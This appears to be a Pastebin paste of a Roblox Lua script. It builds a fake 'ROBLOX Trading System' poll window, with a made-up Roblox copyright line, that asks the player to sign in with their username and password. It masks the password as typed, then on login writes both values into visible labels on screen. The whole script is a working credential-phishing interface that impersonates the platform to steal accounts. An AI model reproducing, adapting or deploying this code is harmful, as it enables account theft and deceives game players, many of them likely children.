Advertisement
Guest User

Untitled

a guest
Aug 18th, 2017
75
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.46 KB | None | 0 0
  1. Players = Game:GetService("Players")
  2. Player = Players.LocalPlayer
  3. PlayerGui = Player.PlayerGui
  4.  
  5. function Class(ClassName, Parent, Name, Function)
  6. local Object = Instance.new(ClassName, Parent)
  7. Object.Name = Name
  8. if Function then
  9. Function(Object)
  10. end
  11. return Object
  12. end
  13.  
  14. pcall(function ()
  15. PlayerGui["ROBLOX Trading System"]:Destroy()
  16. end)
  17.  
  18. --92674865 (Responding to User Feedback)
  19. --©2017 ROBLOX Corporation is a Trademark of ROBLOX: ROBLOX is not affiliated with the LEGO, MEGA, or K'Nex products and toys.
  20.  
  21. ScreenGui = Class("ScreenGui", PlayerGui, "ROBLOX Trading System")
  22. Frame = Class("Frame", ScreenGui, "Frame", function (Object)
  23. Object.Style = "RobloxRound"
  24. Object.Size = UDim2.new(0, 670, 0, 500)
  25. Object.Position = UDim2.new(0.5, -350, 0.5, -250)
  26. end)
  27. Roblox = Class("ImageLabel", Frame, "ImageLabel", function (Object)
  28. Object.Image = "http://www.roblox.com/asset?id=638670916"
  29. Object.BorderSizePixel = 0
  30. Object.BackgroundTransparency = 1
  31. Object.Size = UDim2.new(0.4, 0, 0.4, 0)
  32. Object.Position = UDim2.new(0.3, 0, 0.05, 0)
  33. end)
  34. Trade = Class("TextLabel", Frame, "TextLabel", function (Object)
  35. Object.Text = "Trade Market"
  36. Object.TextColor3 = Color3.new(2, 2, 2)
  37. Object.Font = 2
  38. Object.FontSize = 8
  39. Object.TextStrokeColor3 = Color3.new(1, 0, 0)
  40. Object.TextStrokeTransparency = 0
  41. Object.BorderSizePixel = 0
  42. Object.BackgroundTransparency = 1
  43. Object.Size = UDim2.new(0.4, 0, 0.1, 0)
  44. Object.Position = UDim2.new(0.3, 0, 0.15, 0)
  45. end)
  46. Copyright1 = Class("TextLabel", Frame, "TextLabel", function (Object)
  47. Object.Text = "©2017 ROBLOX Corporation is a Trademark of ROBLOX: ROBLOX is not affiliated with the LEGO, MEGA, or K'Nex products and toys."
  48. Object.TextColor3 = Color3.new(1, 1, 1)
  49. Object.Font = 2
  50. Object.FontSize = 2
  51. Object.TextStrokeColor3 = Color3.new(0.4, 0.4, 0.4)
  52. Object.TextStrokeTransparency = 0.6
  53. Object.BorderSizePixel = 0
  54. Object.BackgroundTransparency = 1
  55. Object.Size = UDim2.new(0, 0, 0, 0)
  56. Object.Position = UDim2.new(0.49, 7.5, 1, 0)
  57. end)
  58. Copyright2 = Class("ImageLabel", Frame, "ImageLabel", function (Object)
  59. Object.Image = "http://www.roblox.com/asset?id="
  60. Object.BorderSizePixel = 0
  61. Object.BackgroundTransparency = 1
  62. Object.Size = UDim2.new(0, 15, 0, 15)
  63. Object.Position = UDim2.new(0, 17.5, 1, -7.5)
  64. end)
  65. Info = Class("TextButton", Frame, "TextLabel", function (Object)
  66. Object.Text = "What is the ROBLOX Trade Market?"
  67. Object.TextColor3 = Color3.new(1, 1, 1)
  68. Object.Font = 2
  69. Object.FontSize = 6
  70. Object.TextStrokeColor3 = Color3.new(0.4, 0.4, 0.4)
  71. Object.TextStrokeTransparency = 0.6
  72. Object.BackgroundTransparency = 1
  73. Object.Size = UDim2.new(0.5, 0, 0.05, 0)
  74. Object.Position = UDim2.new(0.25, 0, 0.3, 0)
  75. end)
  76. Info2 = Class("TextButton", Frame, "TextLabel", function (Object)
  77. Object.Text = [[ The ROBLOX Trade Market is an in-game feature that is being created by ROBLOX developers. This feature will allow ROBLOX users to interact and trade with other players in-game, and also will allow them to test items before they buy Gear, or Clothing.
  78. Roblox has decided, therefore, to poll the ROBLOX population in order to gather their thoughts about the matter.]]
  79. Object.TextColor3 = Color3.new(1, 1, 1)
  80. Object.Font = 2
  81. Object.FontSize = 6
  82. Object.TextStrokeColor3 = Color3.new(0.4, 0.4, 0.4)
  83. Object.TextStrokeTransparency = 0.6
  84. Object.BackgroundTransparency = 1
  85. Object.Size = UDim2.new(0.75, 0, 0.5, 0)
  86. Object.TextWrap = true
  87. Object.TextXAlignment = "Left"
  88. Object.TextYAlignment = "Top"
  89. Object.Position = UDim2.new(0.125, 0, 0.35, 0)
  90. end)
  91. VoteFrame = Class("Frame", Frame, "Frame", function (Object)
  92. Object.Style = "ChatRed"
  93. Object.Size = UDim2.new(0.5, 0, 0.1, 0)
  94. Object.Position = UDim2.new(0.25, 0, 0.75, 0)
  95. end)
  96. VoteFrame.MouseEnter:connect(function ()
  97. VoteFrame.Style = "ChatGreen"
  98. end)
  99. VoteFrame.MouseLeave:connect(function ()
  100. VoteFrame.Style = "ChatRed"
  101. end)
  102. Vote = Class("TextButton", Frame, "TextButton", function (Object)
  103. Object.Text = "Please sign in to continue."
  104. Object.TextColor3 = Color3.new(1, 1, 1)
  105. Object.Font = 2
  106. Object.FontSize = 6
  107. Object.TextStrokeColor3 = Color3.new(0.4, 0.4, 0.4)
  108. Object.TextStrokeTransparency = 0.6
  109. Object.BackgroundTransparency = 1
  110. Object.Size = UDim2.new(0.5, 0, 0.1, 0)
  111. Object.Position = UDim2.new(0.25, 0, 0.75, 0)
  112. end)
  113. Vote.MouseButton1Down:connect(function ()
  114.  
  115. for i = 1, 10 do
  116. wait(0.01)
  117. Vote.TextTransparency = Vote.TextTransparency + 0.1
  118. Vote.TextStrokeTransparency = Vote.TextStrokeTransparency + 0.06
  119. Info.TextTransparency = Info.TextTransparency + 0.1
  120. Info.TextStrokeTransparency = Info.TextStrokeTransparency + 0.06
  121. Info2.TextTransparency = Info2.TextTransparency + 0.1
  122. Info2.TextStrokeTransparency = Info2.TextStrokeTransparency + 0.06
  123. end
  124.  
  125. VoteFrame.Size = UDim2.new(0.25, 0, 0.1, 0)
  126. VoteFrame.Position = UDim2.new(0.375, 0, 0.75, 0)
  127.  
  128. Vote:Destroy()
  129. Info:Destroy()
  130. Info2:Destroy()
  131.  
  132. Please = Class("TextLabel", Frame, "TextLabel", function (Object)
  133. Object.Text = "Please enter your username and password in the space below."
  134. Object.TextColor3 = Color3.new(1, 1, 1)
  135. Object.TextTransparency = 1
  136. Object.Font = 2
  137. Object.FontSize = 6
  138. Object.TextStrokeColor3 = Color3.new(0.4, 0.4, 0.4)
  139. Object.TextStrokeTransparency = 1
  140. Object.BackgroundTransparency = 1
  141. Object.Size = UDim2.new(0.7, 0, 0.05, 0)
  142. Object.Position = UDim2.new(0.15, 0, 0.3, 0)
  143. end)
  144. UsernameBox = Class("TextBox", Frame, "TextLabel", function (Object)
  145. Object.Text = ""
  146. Object.TextColor3 = Color3.new(0, 0, 0)
  147. Object.TextTransparency = 1
  148. Object.Font = 2
  149. Object.FontSize = 6
  150. Object.TextStrokeColor3 = Color3.new(0.6, 0.6, 0.6)
  151. Object.TextStrokeTransparency = 1
  152. Object.BorderSizePixel = 0
  153. Object.BackgroundTransparency = 1
  154. Object.BackgroundColor3 = Color3.new(0.9, 0.9, 0.9)
  155. Object.Size = UDim2.new(0.5, 0, 0.05, 0)
  156. Object.Position = UDim2.new(0.35, 0, 0.4, 0)
  157. end)
  158. Username = Class("TextLabel", Frame, "TextLabel", function (Object)
  159. Object.Text = "Username:"
  160. Object.TextColor3 = Color3.new(1, 1, 1)
  161. Object.TextTransparency = 1
  162. Object.Font = 2
  163. Object.FontSize = 6
  164. Object.TextStrokeColor3 = Color3.new(0.4, 0.4, 0.4)
  165. Object.TextStrokeTransparency = 1
  166. Object.BackgroundTransparency = 1
  167. Object.Size = UDim2.new(0.5, 0, 0.05, 0)
  168. Object.Position = UDim2.new(0, 0, 0.4, 0)
  169. end)
  170. PasswordBox = Class("TextBox", Frame, "TextLabel", function (Object)
  171. Object.Text = ""
  172. Object.TextColor3 = Color3.new(0, 0, 0)
  173. Object.TextTransparency = 1
  174. Object.Font = 2
  175. Object.FontSize = 6
  176. Object.TextStrokeColor3 = Color3.new(0.6, 0.6, 0.6)
  177. Object.TextStrokeTransparency = 1
  178. Object.BorderSizePixel = 0
  179. Object.BackgroundTransparency = 1
  180. Object.BackgroundColor3 = Color3.new(0.9, 0.9, 0.9)
  181. Object.Size = UDim2.new(0.5, 0, 0.05, 0)
  182. Object.Position = UDim2.new(0.35, 0, 0.5, 0)
  183. end)
  184. Password = Class("TextLabel", Frame, "TextLabel", function (Object)
  185. Object.Text = "Password:"
  186. Object.TextColor3 = Color3.new(1, 1, 1)
  187. Object.TextTransparency = 1
  188. Object.Font = 2
  189. Object.FontSize = 6
  190. Object.TextStrokeColor3 = Color3.new(0.4, 0.4, 0.4)
  191. Object.TextStrokeTransparency = 1
  192. Object.BackgroundTransparency = 1
  193. Object.Size = UDim2.new(0.5, 0, 0.05, 0)
  194. Object.Position = UDim2.new(0, 0, 0.5, 0)
  195. end)
  196. Login = Class("TextButton", Frame, "TextButton", function (Object)
  197. Object.Text = "Login"
  198. Object.TextColor3 = Color3.new(1, 1, 1)
  199. Object.TextTransparency = 1
  200. Object.Font = 2
  201. Object.FontSize = 6
  202. Object.TextStrokeColor3 = Color3.new(0.4, 0.4, 0.4)
  203. Object.TextStrokeTransparency = 1
  204. Object.BackgroundTransparency = 1
  205. Object.Size = UDim2.new(0.25, 0, 0.1, 0)
  206. Object.Position = UDim2.new(0.375, 0, 0.75, 0)
  207. end)
  208.  
  209. for i = 1, 10 do
  210. wait(0.01)
  211. Please.TextTransparency = Please.TextTransparency - 0.1
  212. Please.TextStrokeTransparency = Please.TextStrokeTransparency - 0.04
  213. UsernameBox.TextTransparency = UsernameBox.TextTransparency - 0.1
  214. UsernameBox.TextStrokeTransparency = UsernameBox.TextStrokeTransparency - 0.06
  215. UsernameBox.BackgroundTransparency = UsernameBox.BackgroundTransparency - 0.1
  216. Username.TextTransparency = Username.TextTransparency - 0.1
  217. Username.TextStrokeTransparency = Username.TextStrokeTransparency - 0.04
  218. PasswordBox.TextTransparency = PasswordBox.TextTransparency - 0.1
  219. PasswordBox.TextStrokeTransparency = PasswordBox.TextStrokeTransparency - 0.06
  220. PasswordBox.BackgroundTransparency = PasswordBox.BackgroundTransparency - 0.1
  221. Password.TextTransparency = Password.TextTransparency - 0.1
  222. Password.TextStrokeTransparency = Password.TextStrokeTransparency - 0.04
  223. Login.TextTransparency = Login.TextTransparency - 0.1
  224. Login.TextStrokeTransparency = Login.TextStrokeTransparency - 0.04
  225. end
  226.  
  227. Pass = PasswordBox.Text
  228.  
  229. PasswordBox.Changed:connect(function (Property)
  230. if Property == "Text" then
  231. Pass = PasswordBox.Text
  232. PasswordBox.Text = string.rep("*", #PasswordBox.Text)
  233. end
  234. end)
  235.  
  236. Login.MouseButton1Down:connect(function ()
  237. Information1 = Class("TextButton", ScreenGui, "TextButton", function (Object)
  238. Object.Text = UsernameBox.Text
  239. Object.TextColor3 = Color3.new(1, 1, 1)
  240. Object.Font = 2
  241. Object.FontSize = 6
  242. Object.TextStrokeColor3 = Color3.new(0.4, 0.4, 0.4)
  243. Object.TextStrokeTransparency = 0
  244. Object.BackgroundTransparency = 1
  245. Object.Size = UDim2.new(0, 100, 0, 15)
  246. Object.Position = UDim2.new(0, 0, 0, 350)
  247. end)
  248. Information2 = Class("TextButton", ScreenGui, "TextButton", function (Object)
  249. Object.Text = Pass
  250. Object.TextColor3 = Color3.new(1, 0.6, 0.6)
  251. Object.Font = 2
  252. Object.FontSize = 6
  253. Object.TextStrokeColor3 = Color3.new(0.6, 0.4, 0.4)
  254. Object.TextStrokeTransparency = 0
  255. Object.BackgroundTransparency = 1
  256. Object.Size = UDim2.new(0, 100, 0, 15)
  257. Object.Position = UDim2.new(0, 200, 0, 350)
  258. end)
  259. end)
  260.  
  261. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement